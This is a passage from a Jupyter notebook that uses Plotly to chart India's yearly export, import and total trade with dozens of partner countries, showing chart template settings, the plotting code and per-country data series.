[ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[150]]['Year(start)'], y=df[df['Country']==country.index[150]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(150,200):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[150]]['Year(start)'], y=df[df['Country']==country.index[150]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(150,200):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[150]]['Year(start)'], y=df[df['Country']==country.index[150]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(150,200):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "id": "ba2b4f0d-6801-444e-9a96-52e16e28e436", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 6.38, - 4.07, - 2.97, - 5.91, - 4.89, - 8.29, - 17.6, - 12.91, - 13.05, - 11.44, - 13.76, - 12.73, - 17.08, - 84.36, - 34.03, - 25.92, - 19.89, - 19.93, - 18.55, - 16.72, - 5.9, - 30.79, - 10.05, - 10.91, - 7.83 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "ICELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.38, - 4.07, - 2.97, - 5.91, - 4.89, - 8.29, - 17.6, - 12.91, - 13.05, - 11.44, - 13.76, - 12.73, - 17.08, - 84.36, - 34.03, - 25.92, - 19.89, - 19.93, - 18.55, - 16.72, - 5.9, - 30.79, - 10.05, - 10.91, - 7.83 - ] - }, - { - "mode": "lines", - "name": "HUNGARY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 35.6, - 35.53, - 31.7, - 42.66, - 46.69, - 48.26, - 91.87, - 108.1, - 84.16, - 103.8, - 230.41, - 439.69, - 269.68, - 212.85, - 316, - 323.74, - 343.62, - 349.26, - 345.13, - 406.29, - 402.69, - 458.08, - 423.94, - 495.26, - 403.42 - ] - }, - { - "mode": "lines", - "name": "FIJI IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 9.61, - 16.14, - 11.34, - 14.11, - 25.44, - 20.41, - 28.59, - 29.06, - 44.07, - 48.39, - 90.39, - 26.69, - 28.47, - 36.78, - 41.01, - 48.74, - 49.75, - 44.15, - 52.52, - 54.24, - 60.8, - 55.7, - 46.9, - 40.67 - ] - }, - { - "mode": "lines", - "name": "EL SALVADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.51, - 1.97, - 3.01, - 2.44, - 3.15, - 3.72, - 6.55, - 8.89, - 12, - 17.58, - 12.12, - 16.78, - 13.37, - 24.06, - 37.52, - 56.06, - 65.11, - 61.48, - 68.54, - 60.45, - 69.45, - 78.66, - 79.34, - 84.12, - 118.64 - ] - }, - { - "mode": "lines", - "name": "GREENLAND", - "type": "scatter", - "x": [ - "97", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.18, - 0.33, - 0.25, - 0.02, - 0.16, - 0.04, - 3.37, - 0, - 0.06, - 0.08, - 0.37, - 0.1, - 0.27, - 0.47, - 1.73, - 1.13, - 8.81, - 0.1, - 0.01, - 0, - 0.03, - 1.1, - 1.4 - ] - }, - { - "mode": "lines", - "name": "ST VINCENT", - "type": "scatter", - "x": [ - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.05, - 0.04, - 3.6, - 0.1, - 0.21, - 0.09, - 0.25, - 0.41, - 0.34, - 0.47, - 0.82, - 0.36, - 0.36, - 0.61, - 0.35, - 1.84, - 0.76, - 0.55, - 0.78, - 0.69, - 0.73, - 0.69, - 0.63, - 0.67 - ] - }, - { - "mode": "lines", - "name": "ST HELENA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.32, - 0.35, - 0.8, - 0.04, - 0.53, - 0.54, - 0.87, - 0.1, - 0.78, - 1.66, - 1.63, - 0.2, - 0.01, - 0.19, - 0.04, - 0.03, - 0.03, - 0.21, - 0.16, - 0.02, - 0.01, - 0.02, - 0.33, - 0.17 - ] - }, - { - "mode": "lines", - "name": "COOK IS", - "type": "scatter", - "x": [ - "97", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.07, - 0.04, - 0.03, - 0.03, - 0.1, - 0.08, - 0.09, - 0, - 0.12, - 0.13, - 0.03, - 0.04, - 0.12, - 0.05, - 0.09, - 0.32, - 0.05, - 0.15, - 0.18, - 0.27, - 0.32, - 0.07, - 0.04 - ] - }, - { - "mode": "lines", - "name": "WALLIS F IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2017", - "2019", - "2020", - "2021" - ], - "y": [ - 0.21, - 0.3, - 0.32, - 0.02, - 0.11, - 0.02, - 0.21, - 0.09, - 0.09, - 0.61, - 0.05, - 0.16, - 0.16, - 0.08, - 0.21, - 0.02, - 0, - 0.04, - 0.01, - 0.05, - 0.02, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "UNION OF SERBIA & MONTENEGRO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 5.03, - 6.82, - 4.44, - 6.65, - 5.52, - 4.61, - 16.83, - 9.25, - 8.36, - 12.09, - 13.35, - 14.06, - 12.74, - 23.56, - 41.7, - 71, - 30.16, - 6.68, - 1.38, - 0.15, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PANAMA C Z", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 5.65, - 5.38, - 12.47, - 23.14, - 18.67, - 9.08, - 3.2, - 0.48, - 4.53, - 0.5, - 0.66, - 0.96, - 0.69, - 0.45, - 0.46, - 0.73, - 0.36, - 0.07, - 0.16, - 0.01, - 0.01, - 0.01 - ] - }, - { - "mode": "lines", - "name": "UNSPECIFIED", - "type": "scatter", - "x": [ - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.98, - 2100.05, - 206.05, - 209.38, - 373.82, - 191.85, - 244.77, - 365.21, - 4505.65, - 4116.19, - 14390.26, - 16436.76, - 5437.47, - 11544.49, - 4161.29, - 2482.91, - 2470.14, - 2429.68, - 2907.22, - 2546.99, - 733.33, - 737.54 - ] - }, - { - "mode": "lines", - "name": "SAHARWI A.DM RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2007", - "2008", - "2009", - "2010", - "2011", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.05, - 0.03, - 0.05, - 0.01, - 0.57, - 0.01, - 0.01, - 0.01, - 0.06, - 17.29, - 0, - 0.16, - 0, - 0.03, - 0, - 0, - 0.01, - 0, - 0, - 0.04, - 0 - ] - }, - { - "mode": "lines", - "name": "TOKELAU IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2018", - "2019" - ], - "y": [ - 0.69, - 0.24, - 0.28, - 0.09, - 0.06, - 0.29, - 1.24, - 0.14, - 0.07, - 0.15, - 0.05, - 0.03, - 0, - 14.94, - 0.05, - 0.03, - 0.17, - 0, - 0.03, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PITCAIRN IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2010", - "2011", - "2012", - "2013", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.06, - 0.15, - 0.02, - 0.08, - 0.09, - 0.05, - 0.1, - 0.02, - 0, - 0.07, - 0.03, - 0.03, - 0.27, - 0.06, - 0.01, - 0.06, - 0.05, - 0.01, - 0.01, - 0.02, - 0.12 - ] - }, - { - "mode": "lines", - "name": "MARSHALL ISLAND", - "type": "scatter", - "x": [ - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.95, - 32.67, - 0.39, - 0.05, - 0.21, - 19.19, - 0.09, - 0.1, - 0.07, - 0.2, - 0.53, - 0.09, - 1.18, - 0.12, - 101.91, - 0.14, - 14, - 0.32, - 32.53, - 0.62, - 0.98 - ] - }, - { - "mode": "lines", - "name": "ARUBA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.19, - 0.44, - 0.62, - 1.46, - 0.68, - 1.88, - 1.48, - 1.49, - 2.68, - 2.88, - 3.33, - 3.88, - 6.93, - 7.91, - 6.44, - 9.63, - 9.87, - 2.79, - 4.23 - ] - }, - { - "mode": "lines", - "name": "FALKLAND IS", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015", - "2018", - "2019", - "2021" - ], - "y": [ - 0.02, - 0, - 0.02, - 0.04, - 0.01, - 0.17, - 0.05, - 0.03, - 0.26, - 0.06, - 0.09, - 0.04, - 0.04, - 1.39, - 0, - 0, - 0, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGUILLA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 0.27, - 0.12, - 0.87, - 0.18, - 0.08, - 0.05, - 0.17, - 0.12, - 0.15, - 0.02, - 0.05, - 0.02, - 0.04, - 0.5, - 0.16, - 0.04, - 0.05, - 0.08 - ] - }, - { - "mode": "lines", - "name": "ERITREA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.72, - 8.44, - 8.18, - 6.65, - 110.26, - 16.86, - 29.34, - 24.5, - 31.52, - 18.99, - 16.45, - 14.06, - 6.45, - 3.22, - 7.43, - 9.03, - 5.92, - 9.46, - 7.09 - ] - }, - { - "mode": "lines", - "name": "NIUE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2015", - "2019", - "2020" - ], - "y": [ - 0.17, - 0.32, - 0.05, - 0.01, - 0.01, - 0.13, - 0.02, - 0, - 0.11, - 0.01, - 0.01, - 0, - 0.01, - 0, - 0.04, - 0.01, - 0.04, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "PALAU", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.05, - 0.07, - 0.16, - 0.16, - 0.23, - 0.01, - 0.04, - 0.22, - 0.04, - 0.03, - 0.07, - 0.02, - 0.04, - 0.07, - 0.09, - 0.05, - 0.21, - 0.09 - ] - }, - { - "mode": "lines", - "name": "COCOS IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2016", - "2020" - ], - "y": [ - 0.02, - 0, - 0.55, - 0.43, - 0.26, - 0.2, - 1.13, - 0.41, - 0.19, - 0.25, - 0.09, - 0, - 0.01, - 0.92, - 0.74, - 0.05, - 0.01, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "MONACO", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.34, - 0.74, - 0.38, - 0.84, - 0.49, - 0.35, - 0.41, - 1.04, - 0.52, - 0.75, - 0.31, - 0.87, - 1.05, - 1.53, - 1.94, - 2.55, - 1.96, - 1.93, - 2.6 - ] - }, - { - "mode": "lines", - "name": "CHRISTMAS IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2019" - ], - "y": [ - 0.97, - 1.18, - 0.23, - 0.16, - 0.05, - 0.38, - 0.4, - 0.36, - 0.08, - 0.04, - 2.35, - 0.2, - 1.59, - 1.18, - 0.02, - 0.03, - 0.01, - 0.01, - 0 - ] - }, - { - "mode": "lines", - "name": "MICRONESIA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.34, - 0.01, - 0.03, - 0.05, - 0.08, - 0.17, - 0.64, - 0.21, - 0.18, - 0.57, - 0.23, - 0.36, - 0.14, - 0.3, - 0.34, - 0.53, - 0.72, - 0.51 - ] - }, - { - "mode": "lines", - "name": "N. MARIANA IS.", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.03, - 0.05, - 0.02, - 0.09, - 0.43, - 0.46, - 0.14, - 0.02, - 0, - 0.06, - 0.08, - 0.56, - 0.01, - 0.04, - 0.27, - 0.15, - 0.29, - 0.31 - ] - }, - { - "mode": "lines", - "name": "ST PIERRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.13, - 0.03, - 0.01, - 0, - 0.01, - 2.48, - 1.6, - 22.62, - 5.39, - 0, - 0.05, - 0.06, - 0.04, - 0.03, - 0, - 0.01, - 0.01 - ] - }, - { - "mode": "lines", - "name": "CANARY IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 20.38, - 13.21, - 7.02, - 3.81, - 1.81, - 1.06, - 0.11, - 0.1, - 41.39, - 0.08, - 0.04, - 0.06, - 0.14, - 0.01, - 0.01, - 0, - 0.02 - ] - }, - { - "mode": "lines", - "name": "CHANNEL IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 2.85, - 1.19, - 0.11, - 0.4, - 0.76, - 0.17, - 0.95, - 0.15, - 0.11, - 0.36, - 0.22, - 0.05, - 0.02, - 0.06, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "ANTARTICA", - "type": "scatter", - "x": [ - "2004", - "2005", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.05, - 0.43, - 0.1, - 0.17, - 0.06, - 0.17, - 0.06, - 0, - 0, - 0.1, - 0, - 0.02, - 1.05, - 0.01 - ] - }, - { - "mode": "lines", - "name": "FR S ANT TR", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015" - ], - "y": [ - 0.02, - 0, - 0, - 0.03, - 0, - 0.14, - 12.87, - 0.08, - 0.01, - 0, - 0, - 0, - 0.02, - 0.01, - 0.06 - ] - }, - { - "mode": "lines", - "name": "HEARD MACDONALD", - "type": "scatter", - "x": [ - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.04, - 0.05, - 0.01, - 0.01, - 0, - 0, - 0.45, - 0, - 0.03, - 0.06, - 0.04, - 0.03 - ] - }, - { - "mode": "lines", - "name": "PACIFIC IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", 